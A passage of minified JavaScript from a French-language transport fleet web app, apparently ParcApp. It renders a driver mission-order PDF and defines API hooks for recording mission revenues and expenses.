6&quot;,borderRadius:4,fontSize:9},summaryCard:{backgroundColor:&quot;#F6F7FB&quot;,borderWidth:1,borderColor:&quot;#E5E7EB&quot;,borderRadius:6,padding:10,marginBottom:12},summaryRow:{flexDirection:&quot;row&quot;,marginBottom:5,alignItems:&quot;flex-start&quot;},summaryLabel:{fontSize:10,fontWeight:&quot;bold&quot;,width:120,color:&quot;#111&quot;,paddingLeft:0,paddingRight:8,flexShrink:0},summaryValue:{fontSize:10,color:&quot;#111&quot;,flex:1,paddingLeft:0},twoColumns:{flexDirection:&quot;row&quot;,justifyContent:&quot;space-between&quot;,marginTop:6},column:{width:&quot;48%&quot;},table:{marginTop:8,borderWidth:1,borderColor:&quot;#E5E7EB&quot;},tableHeader:{flexDirection:&quot;row&quot;,backgroundColor:&quot;#F3F4F6&quot;,borderBottomWidth:1,borderBottomColor:&quot;#E5E7EB&quot;,paddingVertical:6,paddingHorizontal:4},tableRow:{flexDirection:&quot;row&quot;,borderBottomWidth:1,borderBottomColor:&quot;#E5E7EB&quot;,paddingVertical:6,paddingHorizontal:4},tableCell:{fontSize:9,paddingHorizontal:4},colNumber:{width:&quot;8%&quot;},colSens:{width:&quot;32%&quot;},colDepart:{width:&quot;20%&quot;},colArrivee:{width:&quot;20%&quot;},colStatut:{width:&quot;20%&quot;},consignesCard:{backgroundColor:&quot;#F6F7FB&quot;,borderWidth:1,borderColor:&quot;#E5E7EB&quot;,borderRadius:6,padding:10,marginTop:8},signatures:{flexDirection:&quot;row&quot;,justifyContent:&quot;space-between&quot;,marginTop:12,paddingTop:8,borderTopWidth:1,borderTopColor:&quot;#000&quot;},signatureBox:{width:&quot;48%&quot;},signatureText:{fontSize:9,marginBottom:4,lineHeight:1.4},signatureLine:{borderBottomWidth:1,borderBottomColor:&quot;#000&quot;,height:30,marginTop:8},footer:{position:&quot;absolute&quot;,bottom:20,left:24,right:24,fontSize:8,color:&quot;#666&quot;,textAlign:&quot;center&quot;,borderTopWidth:1,borderTopColor:&quot;#E5E7EB&quot;,paddingTop:4}});function b6({data:e}){const{organization:t,voyage:r,trips:n}=e,i=new Date,s=[...n].sort((o,l)=&gt;o.dateDepart&amp;&amp;l.dateDepart?new Date(o.dateDepart).getTime()-new Date(l.dateDepart).getTime():0);return s[0]?.dateDepart?T3(s[0].dateDepart):r.loadingOrderDate?zb(r.loadingOrderDate):T3(i),a.jsx(XS,{children:a.jsxs(H4,{size:&quot;A4&quot;,style:xr.page,children:[a.jsxs(Rn,{style:xr.header,children:[a.jsxs(Rn,{style:xr.headerLeft,children:[t.logoUrl?a.jsx(Rn,{style:xr.logoContainer,children:a.jsx(Gm,{src:t.logoUrl,style:xr.logo})}):null,a.jsx(rr,{style:xr.companyName,children:Oi(t.companyName)}),a.jsx(rr,{style:xr.small,children:[t.addressLine,t.city&amp;&amp;t.country?`${Oi(t.city)}, ${Oi(t.country)}`:Oi(t.city||t.country)].filter(Boolean).join(&quot; | &quot;)}),a.jsx(rr,{style:xr.small,children:[t.phone&amp;&amp;`Tél: ${Oi(t.phone)}`,t.email&amp;&amp;`Email: ${Oi(t.email)}`,t.website&amp;&amp;`Web: ${Oi(t.website)}`].filter(Boolean).join(&quot; | &quot;)})]}),a.jsxs(Rn,{style:xr.headerRight,children:[a.jsx(rr,{style:xr.headerTitle,children:&quot;ORDRE DE MISSION&quot;}),a.jsxs(rr,{style:xr.small,children:[&quot;Code: &quot;,Oi(r.code)]})]})]}),a.jsxs(Rn,{style:xr.summaryCard,children:[a.jsxs(Rn,{style:xr.summaryRow,children:[a.jsx(rr,{style:xr.summaryLabel,children:&quot;TRAJET&quot;}),a.jsxs(rr,{style:xr.summaryValue,children:[$b(r.loadingSite),&quot; → &quot;,$b(r.unloadingSite)]})]}),a.jsxs(Rn,{style:xr.summaryRow,children:[a.jsx(rr,{style:xr.summaryLabel,children:&quot;MARCHANDISE&quot;}),a.jsx(rr,{style:xr.summaryValue,children:Oi(r.loadingType)})]}),a.jsxs(Rn,{style:xr.summaryRow,children:[a.jsx(rr,{style:xr.summaryLabel,children:&quot;CLIENT&quot;}),a.jsxs(rr,{style:xr.summaryValue,children:[Oi(r.clientName),r.clientReference&amp;&amp;` (réf: ${Oi(r.clientReference)})`]})]}),a.jsxs(Rn,{style:xr.summaryRow,children:[a.jsx(rr,{style:xr.summaryLabel,children:&quot;CHAUFFEUR&quot;}),a.jsxs(rr,{style:xr.summaryValue,children:[r.mainDriver?`${Oi(r.mainDriver.prenom)} ${Oi(r.mainDriver.nom)}`:&quot;—&quot;,r.mainDriver?.telephone&amp;&amp;` (tel: ${Oi(r.mainDriver.telephone)})`]})]}),a.jsxs(Rn,{style:xr.summaryRow,children:[a.jsx(rr,{style:xr.summaryLabel,children:&quot;DATES&quot;}),a.jsx(rr,{style:xr.summaryValue,children:(()=&gt;{const o=r.loadingOrderDate?new Date(r.loadingOrderDate):s[0]?.dateDepart?new Date(s[0].dateDepart):i,l=zb(o),c=new Date(o);return c.setDate(c.getDate()+7),`DÉPART PRÉVU: ${l} | RETOUR PRÉVU: ${zb(c)}`})()})]})]}),a.jsx(Rn,{style:xr.section,children:a.jsxs(Rn,{style:xr.twoColumns,children:[a.jsxs(Rn,{style:xr.column,children:[a.jsx(rr,{style:xr.h2,children:&quot;1. IDENTIFICATION DU VOYAGE&quot;}),a.jsx(wl,{label:&quot;N° bon de chargement&quot;,value:Oi(r.loadingOrderNumber),styles:xr}),a.jsx(wl,{label:&quot;Date du bon&quot;,value:zb(r.loadingOrderDate),styles:xr}),a.jsx(wl,{label:&quot;Nombre de tours&quot;,value:r.expectedTours===1?&quot;1 tour aller + retour&quot;:`${r.expectedTours||1} tour${(r.expectedTours||1)&gt;1?&quot;s&quot;:&quot;&quot;}`,styles:xr})]}),a.jsxs(Rn,{style:xr.column,children:[a.jsx(rr,{style:xr.h2,children:&quot;2. DÉTAILS DE LA MISSION&quot;}),a.jsx(wl,{label:&quot;Client&quot;,value:Oi(r.clientName),styles:xr}),a.jsx(wl,{label:&quot;Référence client&quot;,value:Oi(r.clientReference),styles:xr}),a.jsx(wl,{label:&quot;Lieu de chargement&quot;,value:$b(r.loadingSite),styles:xr}),a.jsx(wl,{label:&quot;Lieu de déchargement&quot;,value:$b(r.unloadingSite),styles:xr}),a.jsx(wl,{label:&quot;Type de chargement&quot;,value:Oi(r.loadingType),styles:xr})]})]})}),a.jsxs(Rn,{style:xr.section,children:[a.jsx(rr,{style:xr.h2,children:&quot;3. MOYENS DE TRANSPORT&quot;}),a.jsxs(Rn,{style:xr.twoColumns,children:[a.jsxs(Rn,{style:xr.column,children:[a.jsx(rr,{style:xr.label,children:&quot;Véhicule&quot;}),r.vehicle?a.jsxs(a.Fragment,{children:[a.jsx(wl,{label:&quot;Immatriculation&quot;,value:Oi(r.vehicle.immatriculation),styles:xr}),(r.vehicle.marque||r.vehicle.modele)&amp;&amp;a.jsx(wl,{label:&quot;Marque/Modèle&quot;,value:`${Oi(r.vehicle.marque)} ${Oi(r.vehicle.modele)}`,styles:xr}),r.vehicle.annee&amp;&amp;a.jsx(wl,{label:&quot;Année&quot;,value:Oi(r.vehicle.annee),styles:xr})]}):a.jsx(rr,{style:xr.value,children:&quot;—&quot;})]}),a.jsxs(Rn,{style:xr.column,children:[a.jsx(rr,{style:xr.label,children:&quot;Remorque&quot;}),r.trailer?a.jsxs(a.Fragment,{children:[a.jsx(wl,{label:&quot;Immatriculation&quot;,value:Oi(r.trailer.numeroChassis),styles:xr}),a.jsx(wl,{label:&quot;Type&quot;,value:Oi(r.trailer.type),styles:xr}),r.trailer.capacite&amp;&amp;a.jsx(wl,{label:&quot;Capacité&quot;,value:`${Oi(r.trailer.capacite)} tonnes`,styles:xr})]}):a.jsx(rr,{style:xr.value,children:&quot;Sans remorque&quot;})]})]})]}),a.jsxs(Rn,{style:xr.section,children:[a.jsx(rr,{style:xr.h2,children:&quot;4. ÉQUIPAGE&quot;}),a.jsxs(Rn,{style:xr.twoColumns,children:[a.jsxs(Rn,{style:xr.column,children:[a.jsx(rr,{style:xr.label,children:&quot;Chauffeur principal&quot;}),r.mainDriver?a.jsxs(a.Fragment,{children:[a.jsx(wl,{label:&quot;Nom&quot;,value:`${Oi(r.mainDriver.prenom)} ${Oi(r.mainDriver.nom)}`,styles:xr}),r.mainDriver.telephone&amp;&amp;a.jsx(wl,{label:&quot;Téléphone&quot;,value:Oi(r.mainDriver.telephone),styles:xr})]}):a.jsx(rr,{style:xr.value,children:&quot;—&quot;})]}),a.jsxs(Rn,{style:xr.column,children:[a.jsx(rr,{style:xr.label,children:&quot;Autres membres&quot;}),r.additionalCrew&amp;&amp;r.additionalCrew.length&gt;0?a.jsx(a.Fragment,{children:r.additionalCrew.map(o=&gt;a.jsxs(rr,{style:xr.value,children:[&quot;• &quot;,Oi(o.prenom),&quot; &quot;,Oi(o.nom),&quot; -&quot;,&quot; &quot;,o.role===&quot;chauffeur&quot;?&quot;Chauffeur&quot;:o.role===&quot;apprenti&quot;?&quot;Aide-chauffeur&quot;:&quot;Apprenti&quot;]},o.id))}):a.jsx(rr,{style:xr.value,children:&quot;—&quot;})]})]})]}),a.jsxs(Rn,{style:xr.section,children:[a.jsx(rr,{style:xr.h2,children:&quot;5. SIGNATURES&quot;}),a.jsxs(Rn,{style:xr.signatures,children:[a.jsxs(Rn,{style:xr.signatureBox,children:[a.jsx(rr,{style:xr.signatureText,children:&quot;Fait à : ____________&quot;}),a.jsx(rr,{style:xr.signatureText,children:&quot;Le : ___ / ___ / ____&quot;}),a.jsx(rr,{style:xr.signatureText,children:&quot;L&#039;entreprise certifie confier la mission ci-dessus au chauffeur désigné.&quot;}),a.jsx(rr,{style:xr.signatureText,children:&quot;Nom / fonction : ____________&quot;}),a.jsx(Rn,{style:xr.signatureLine}),a.jsx(rr,{style:[xr.signatureText,{marginTop:4}],children:&quot;Signature &amp; cachet&quot;})]}),a.jsxs(Rn,{style:xr.signatureBox,children:[a.jsx(rr,{style:xr.signatureText,children:&quot;Je soussigné, chauffeur, reconnais avoir pris connaissance de la mission et m&#039;engage à l&#039;exécuter conformément aux instructions.&quot;}),a.jsx(Rn,{style:xr.signatureLine}),a.jsx(rr,{style:[xr.signatureText,{marginTop:4}],children:&quot;Signature du chauffeur&quot;})]})]})]}),a.jsxs(rr,{fixed:!0,style:xr.footer,children:[&quot;Document généré par ParcApp – &quot;,T3(i),&quot; – Code voyage &quot;,Oi(r.code)]})]})})}async function BHe(e){try{if(e.startsWith(&quot;data:&quot;))return e;let t=e;if(e.includes(&quot;/storage/organization-logos/&quot;)){const{apiUrl:o}=await On(async()=&gt;{const{apiUrl:l}=await Promise.resolve().then(()=&gt;Bie);return{apiUrl:l}},void 0);t=o(&quot;/api/settings/organization/logo&quot;)}const r=localStorage.getItem(&quot;parcapp_token&quot;),n={};r&amp;&amp;(n.Authorization=`Bearer ${r}`);const i=await fetch(t,{headers:n,credentials:&quot;include&quot;});if(!i.ok){const o=await i.text().catch(()=&gt;&quot;Unknown error&quot;);throw new Error(`Failed to fetch image: ${i.status} - ${o}`)}const s=await i.blob();return new Promise((o,l)=&gt;{const c=new FileReader;c.onloadend=()=&gt;{typeof c.result==&quot;string&quot;?o(c.result):l(new Error(&quot;Failed to convert image to base64&quot;))},c.onerror=d=&gt;{l(d)},c.readAsDataURL(s)})}catch(t){throw console.error(&quot;Error converting image to base64:&quot;,t),t}}function kHe({voyageId:e}){const{data:t,isLoading:r,error:n}=fY(e),[i,s]=I.useState(!1),[o,l]=I.useState(!1),[c,d]=I.useState(null),[u,h]=I.useState(null),{toast:p}=Er();I.useEffect(()=&gt;{t&amp;&amp;t.organization.logoUrl?BHe(t.organization.logoUrl).then(E=&gt;{h({...t,organization:{...t.organization,logoUrl:E}})}).catch(E=&gt;{console.error(&quot;Failed to convert logo to base64:&quot;,E),h(t)}):t&amp;&amp;h(t)},[t]);const A=async()=&gt;{if(u){if(u.organization.logoUrl&amp;&amp;!u.organization.logoUrl.startsWith(&quot;data:&quot;)){p({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Le logo n&#039;a pas pu être chargé. Veuillez réessayer.&quot;});return}s(!0);try{const E=await Gw(a.jsx(b6,{data:u})).toBlob(),S=URL.createObjectURL(E),_=document.createElement(&quot;a&quot;);_.href=S,_.download=`ordre-de-mission-${u.voyage.code}.pdf`,document.body.appendChild(_),_.click(),document.body.removeChild(_),URL.revokeObjectURL(S),p({title:&quot;Succès&quot;,description:&quot;L&#039;ordre de mission a été téléchargé avec succès&quot;})}catch(E){console.error(&quot;Erreur lors de la génération du PDF:&quot;,E),p({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Impossible de générer le PDF. Veuillez réessayer.&quot;})}finally{s(!1)}}},y=async()=&gt;{if(u){if(u.organization.logoUrl&amp;&amp;!u.organization.logoUrl.startsWith(&quot;data:&quot;)){p({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Le logo n&#039;a pas pu être chargé. Veuillez réessayer.&quot;});return}s(!0);try{const E=await Gw(a.jsx(b6,{data:u})).toBlob(),S=URL.createObjectURL(E);d(S),l(!0)}catch(E){console.error(&quot;Erreur lors de la génération du PDF:&quot;,E),p({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Impossible de générer la prévisualisation. Veuillez réessayer.&quot;})}finally{s(!1)}}};if(r)return a.jsx(it,{children:a.jsx(Et,{className:&quot;py-12&quot;,children:a.jsx(&quot;div&quot;,{className:&quot;flex justify-center items-center&quot;,children:a.jsx(Nt,{className:&quot;h-8 w-8 animate-spin text-primary&quot;})})})});if(n||!t)return a.jsx(it,{children:a.jsx(Et,{className:&quot;py-12&quot;,children:a.jsx(&quot;div&quot;,{className:&quot;text-center space-y-4&quot;,children:a.jsx(&quot;p&quot;,{className:&quot;text-destructive&quot;,children:n instanceof Error?n.message:&quot;Erreur lors du chargement de l&#039;ordre de mission&quot;})})})});const v=u||t,{organization:w,voyage:j}=v;return a.jsxs(&quot;div&quot;,{className:&quot;space-y-6&quot;,children:[a.jsxs(it,{children:[a.jsxs(br,{children:[a.jsx(jr,{children:&quot;Ordre de mission&quot;}),a.jsxs(wn,{children:[&quot;Générer et télécharger l&#039;ordre de mission pour le voyage &quot;,j.code]})]}),a.jsx(Et,{children:a.jsxs(&quot;div&quot;,{className:&quot;flex flex-wrap gap-3&quot;,children:[a.jsx(ge,{onClick:y,disabled:i||!u,variant:&quot;outline&quot;,children:i?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;Génération...&quot;]}):u?a.jsxs(a.Fragment,{children:[a.jsx(O6,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Prévisualiser&quot;]}):a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;Préparation...&quot;]})}),a.jsx(ge,{onClick:A,disabled:i||!u,children:i?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;Génération...&quot;]}):u?a.jsxs(a.Fragment,{children:[a.jsx(Y3,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Télécharger le PDF&quot;]}):a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;Préparation...&quot;]})})]})})]}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-6&quot;,children:[a.jsxs(it,{children:[a.jsx(br,{children:a.jsx(jr,{children:&quot;Informations de l&#039;entreprise&quot;})}),a.jsxs(Et,{className:&quot;space-y-3&quot;,children:[w.logoUrl?a.jsx(&quot;div&quot;,{className:&quot;mb-4&quot;,children:a.jsx(&quot;img&quot;,{src:Sr(w.logoUrl)||w.logoUrl,alt:&quot;Logo&quot;,className:&quot;h-16 w-auto object-contain&quot;})}):a.jsx(&quot;div&quot;,{className:&quot;mb-4 text-xs text-muted-foreground&quot;,children:&quot;Aucun logo configuré&quot;}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm font-medium text-muted-foreground&quot;,children:&quot;Dénomination commerciale&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-base font-semibold&quot;,children:w.companyName})]}),w.legalName&amp;&amp;a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm font-medium text-muted-foreground&quot;,children:&quot;Raison sociale&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-base&quot;,children:w.legalName})]}),(w.addressLine||w.city||w.country)&amp;&amp;a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm font-medium text-muted-foreground&quot;,children:&quot;Adresse&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-base&quot;,children:[w.addressLine,w.city,w.country].filter(Boolean).join(&quot;, &quot;)})]}),w.phone&amp;&amp;a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm font-medium text-muted-foreground&quot;,children:&quot;Téléphone&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-base&quot;,children:w.phone})]}),w.email&amp;&amp;a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm font-medium text-muted-foreground&quot;,children:&quot;Email&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-base&quot;,children:w.email})]}),w.website&amp;&amp;a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm font-medium text-muted-foreground&quot;,children:&quot;Site web&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-base&quot;,children:w.website})]}),w.taxId&amp;&amp;a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm font-medium text-muted-foreground&quot;,children:&quot;N° RCCM / IFU&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-base&quot;,children:w.taxId})]})]})]}),a.jsxs(it,{children:[a.jsx(br,{children:a.jsx(jr,{children:&quot;Informations du voyage&quot;})}),a.jsxs(Et,{className:&quot;space-y-3&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm font-medium text-muted-foreground&quot;,children:&quot;Code du voyage&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-base font-semibold&quot;,children:j.code})]}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm font-medium text-muted-foreground&quot;,children:&quot;Titre&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-base&quot;,children:j.title})]}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm font-medium text-muted-foreground&quot;,children:&quot;Client&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-base&quot;,children:j.clientName})]}),j.clientReference&amp;&amp;a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm font-medium text-muted-foreground&quot;,children:&quot;Référence client&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-base&quot;,children:j.clientReference})]}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm font-medium text-muted-foreground&quot;,children:&quot;Itinéraire&quot;}),a.jsxs(&quot;p&quot;,{className:&quot;text-base&quot;,children:[j.loadingSite,&quot; → &quot;,j.unloadingSite]})]}),j.loadingOrderNumber&amp;&amp;a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm font-medium text-muted-foreground&quot;,children:&quot;N° Bon de chargement&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-base&quot;,children:j.loadingOrderNumber})]}),j.loadingOrderDate&amp;&amp;a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm font-medium text-muted-foreground&quot;,children:&quot;Date du bon de chargement&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-base&quot;,children:new Date(j.loadingOrderDate).toLocaleDateString(&quot;fr-FR&quot;)})]}),j.vehicle&amp;&amp;a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm font-medium text-muted-foreground&quot;,children:&quot;Véhicule&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-base&quot;,children:j.vehicle.immatriculation})]}),j.trailer&amp;&amp;a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm font-medium text-muted-foreground&quot;,children:&quot;Remorque&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-base&quot;,children:j.trailer.numeroChassis})]}),j.mainDriver&amp;&amp;a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm font-medium text-muted-foreground&quot;,children:&quot;Chauffeur&quot;}),a.jsxs(&quot;p&quot;,{className:&quot;text-base&quot;,children:[j.mainDriver.prenom,&quot; &quot;,j.mainDriver.nom]})]})]})]})]}),a.jsx(En,{open:o,onOpenChange:l,children:a.jsxs(yn,{className:&quot;max-w-[95vw] w-full h-[95vh] p-0 flex flex-col&quot;,children:[a.jsxs(Cn,{className:&quot;p-4 pb-2 flex-shrink-0&quot;,children:[a.jsx(In,{children:&quot;Prévisualisation de l&#039;ordre de mission&quot;}),a.jsxs(Mn,{children:[&quot;Ordre de mission pour le voyage &quot;,j.code]})]}),a.jsx(&quot;div&quot;,{className:&quot;flex-1 overflow-auto p-4&quot;,children:c&amp;&amp;a.jsx(&quot;iframe&quot;,{src:c,className:&quot;w-full h-full min-h-[600px] border rounded&quot;,title:&quot;Prévisualisation PDF&quot;})}),a.jsxs(&quot;div&quot;,{className:&quot;flex justify-end gap-3 p-4 border-t flex-shrink-0&quot;,children:[a.jsx(ge,{variant:&quot;outline&quot;,onClick:()=&gt;l(!1),children:&quot;Fermer&quot;}),a.jsxs(ge,{onClick:()=&gt;{if(c){const E=document.createElement(&quot;a&quot;);E.href=c,E.download=`ordre-de-mission-${j.code}.pdf`,document.body.appendChild(E),E.click(),document.body.removeChild(E)}},children:[a.jsx(Y3,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Télécharger&quot;]})]})]})})]})}async function _He(){return await $t(&quot;/api/mission-revenues&quot;)}async function DHe(e){return await $t(`/api/voyages/${e}/revenues`)}async function THe(e){if(e.receiptFile){const t=new FormData;return t.append(&quot;mission_id&quot;,e.missionId.toString()),e.montantPrevu!=null&amp;&amp;t.append(&quot;montant_prevu&quot;,e.montantPrevu.toString()),e.montantRecu!=null&amp;&amp;t.append(&quot;montant_recu&quot;,e.montantRecu.toString()),e.origineContrat&amp;&amp;t.append(&quot;origine_contrat&quot;,e.origineContrat),t.append(&quot;receipt&quot;,e.receiptFile),await $t(&quot;/api/mission-revenues&quot;,{method:&quot;POST&quot;,body:t})}return await $t(&quot;/api/mission-revenues&quot;,{method:&quot;POST&quot;,body:e})}async function RHe(e,t){return await $t(`/api/mission-revenues/${e}`,{method:&quot;PATCH&quot;,body:t})}async function PHe(e){await $t(`/api/mission-revenues/${e}`,{method:&quot;DELETE&quot;})}function QHe(e){return cr({queryKey:[&quot;/api/voyages&quot;,e,&quot;revenues&quot;],queryFn:()=&gt;DHe(e),enabled:!!e})}function FHe(){const{toast:e}=Er();return _r({mutationFn:t=&gt;THe(t),onSuccess:(t,r)=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;,r.voyageId||r.missionId,&quot;revenues&quot;]}),jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;,r.voyageId||r.missionId]}),jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;]}),e({title:&quot;Succès&quot;,description:&quot;Le revenu a été ajouté avec succès&quot;})},onError:t=&gt;{e({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:t.message||&quot;Impossible d&#039;ajouter le revenu&quot;})}})}function OHe(){const{toast:e}=Er();return _r({mutationFn:({id:t,data:r})=&gt;RHe(t,r),onSuccess:t=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/voyage-revenues&quot;,t.id]});const r=t.voyageId||t.missionId;jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;,r,&quot;revenues&quot;]}),jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;,r]}),jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;]}),e({title:&quot;Succès&quot;,description:&quot;Le revenu a été modifié avec succès&quot;})},onError:t=&gt;{e({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:t.message||&quot;Impossible de modifier le revenu&quot;})}})}function LHe(){const{toast:e}=Er();return _r({mutationFn:t=&gt;PHe(t),onSuccess:(t,r)=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/voyage-revenues&quot;,r]}),jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;]}),e({title:&quot;Succès&quot;,description:&quot;Le revenu a été supprimé avec succès&quot;})},onError:t=&gt;{e({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:t.message||&quot;Impossible de supprimer le revenu&quot;})}})}async function MHe(){return await $t(&quot;/api/mission-expenses&quot;)}async function UHe(e){return await $t(`/api/voyages/${e}/expenses`)}async function zHe(e){if(e.receiptFile){const t=new FormData;return t.append(&quot;mission_id&quot;,e.missionId.toString()),t.append(&quot;categorie&quot;,e.categorie),t.append(&quot;montant&quot;,e.montant.toString()),t.append(&quot;date&quot;,e.date instanceof Date?e.date.toISOString().split(&quot;T&quot;)[0]:e.date),e.description&amp;&amp;t.append(&quot;description&quot;,e.description),t.append(&quot;receipt&quot;,e.receiptFile),await $t(&quot;/api/mission-expenses&quot;,{method:&quot;POST&quot;,body:t})}return await $t(&quot;/api/mission-expenses&quot;,{method:&quot;POST&quot;,body:e})}async function $He(e){await $t(`/api/mission-expenses/${e}`,{method:&quot;DELETE&quot;})}function HHe(e){return cr({queryKey:[&quot;/api/voyages&quot;,e,&quot;general-expenses&quot;],queryFn:()=&gt;UHe(e),enabled:!!e,staleTime:0})}function qHe(){const{toast:e}=Er();return _r({mutationFn:t=&gt;zHe(t),onSuccess:async(t,r)=&gt;{const n=r.voyageId||r.missionId;jt.setQueryData([&quot;/api/voyages&quot;,n,&quot;general-expenses&quot;],(i=[])=&gt;i.some(s=&gt;s.id===t.id)?i:[...i,t]),await jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;,n,&quot;general-expenses&quot;],refetchType:&quot;active&quot;}),await jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;,n]}),jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;]}),e({title:&quot;Succès&quot;,description:&quot;La dépense a été ajoutée avec succès&quot;})},onError:t=&gt;{e({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:t.message||&quot;Impossible d&#039;ajouter la dépense&quot;})}})}function GHe(){const{toast:e}=Er();return _r({mutationFn:t=&gt;$He(t),onSuccess:async(t,r)=&gt;{const n=await jt.getQueryData([&quot;/api/voyage-general-expenses&quot;,r]);if(n){const i=n.voyageId||n.missionId;i&amp;&amp;(jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;,i,&quot;general-expenses&quot;]}),jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;,i]}))}jt.invalidateQueries({queryKey:[&quot;/api/voyage-general-expenses&quot;,r]}),jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;]}),e({title:&quot;Succès&quot;,description:&quot;La dépense a été supprimée avec succès&quot;})},onError:t=&gt;{e({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:t.message||&quot;Impossible de supprimer la dépense&quot;})}})}function VHe({revenue:e,onEdit:t,onDelete:r}){const n=i=&gt;i?new Intl.NumberFormat(&quot;fr-FR&quot;,{style:&quot;currency&quot;,currency:&quot;XOF&quot;,minimumFractionDigits:0,maximumFractionDigits:0}).format(i):&quot;—&quot;;return e.montantPrevu&amp;&amp;e.montantRecu&amp;&amp;(e.montantPrevu,e.montantRecu),a.jsx(it,{className:&quot;hover:shadow-md transition-shadow&quot;,children:a.jsx(Et,{className:&quot;p-4&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-start gap-4&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;p-3 rounded-lg border bg-green-100 text-green-800 border-green-300 dark:bg-green-900/20 dark:text-green-400 flex-shrink-0&quot;,children:a.jsx(ew,{className:&quot;h-6 w-6&quot;})}),a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0 space-y-2&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;flex items-start justify-between gap-2&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0&quot;,children:[a.jsx(yt,{variant:&quot;secondary&quot;,className:&quot;bg-green-100 text-green-800 border-green-300 dark:bg-green-900/20 dark:text-green-400 mb-2&quot;,children:&quot;Revenu de mission&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-1&quot;,children:[e.montantRecu?a.jsx(&quot;p&quot;,{className:&quot;text-2xl font-bold text-green-600 dark:text-green-400&quot;,children:n(e.montantRecu)}):e.montantPrevu?a.jsx(&quot;p&quot;,{className:&quot;text-2xl font-bold text-muted-foreground&quot;,children:n(e.montantPrevu)}):a.jsx(&quot;p&quot;,{className:&quot;text-lg text-muted-foreground&quot;,children:&quot;—&quot;}),e.montantPrevu&amp;&amp;e.montantRecu&amp;&amp;e.montantPrevu!==e.montantRecu&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;flex items-center gap-1 